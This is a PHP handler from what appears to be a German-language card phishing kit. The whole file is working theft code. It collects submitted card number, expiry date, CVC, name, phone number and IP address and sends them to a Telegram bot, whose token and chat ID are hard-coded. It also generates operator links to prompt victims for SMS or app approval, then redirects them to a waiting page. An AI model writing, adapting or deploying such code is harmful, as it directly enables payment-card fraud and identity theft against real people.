<?php
$botToken = "8230036797:AAEn7vvHrk5SF628aV7IfxBm2dujlmF-tPo";
$chatId = "-4857187582";

$ip = getenv("REMOTE_ADDR");

$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];
$dir = dirname($_SERVER['REQUEST_URI']);

$dir = str_replace("index", "", $dir);

$baseURL = rtrim($protocol . "://" . $host . $dir, "/");

$token = $_POST['token'] ?? bin2hex(random_bytes(5));

$allowSMS = $baseURL . "/unlock.php?token=" . $token . "&page=4";
$allowAPP = $baseURL . "/unlock.php?token=" . $token . "&page=6";

$message = "💳 Neue Kartendaten\n";
$message .= "===========================\n";
$message .= "💳 Kartennummer : <code>" . $_POST['CardNumber'] . "</code>\n";
$message .= "📅 Gültig bis   : <code>" . $_POST['ExxDate'] . "</code>\n";
$message .= "🔐 CVC          : <code>" . $_POST['CVC'] . "</code>\n";
$message .= "👤 Name         : <code>" . $_POST['FullName'] . "</code>\n";
$message .= "📞 Telefonnummer: <code>" . $_POST['Phonenumber'] . "</code>\n";
$message .= "🌐 IP-Adresse   : <code>$ip</code>\n";
$message .= "---------------------------\n";
$message .= "🔓 SMS Freigabe: <a href='$allowSMS'>SMS</a>\n";
$message .= "📱 App Freigabe: <a href='$allowAPP'>App</a>\n";
$message .= "===========================";

$url = "https://api.telegram.org/bot$botToken/sendMessage";
$data = [
    'chat_id' => $chatId,
    'text' => $message,
    'parse_mode' => 'HTML',
    'disable_web_page_preview' => true
];

$options = [
    'http' => [
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data)
    ]
];

$context  = stream_context_create($options);
file_get_contents($url, false, $context);

$unlocksFile = __DIR__ . '/unlocks.json';
$unlocks = file_exists($unlocksFile) ? json_decode(file_get_contents($unlocksFile), true) : [];
$unlocks[$token] = "4";
file_put_contents($unlocksFile, json_encode($unlocks, JSON_PRETTY_PRINT));

header("Location: ../wait.php?token=" . urlencode($token));
exit;
?>
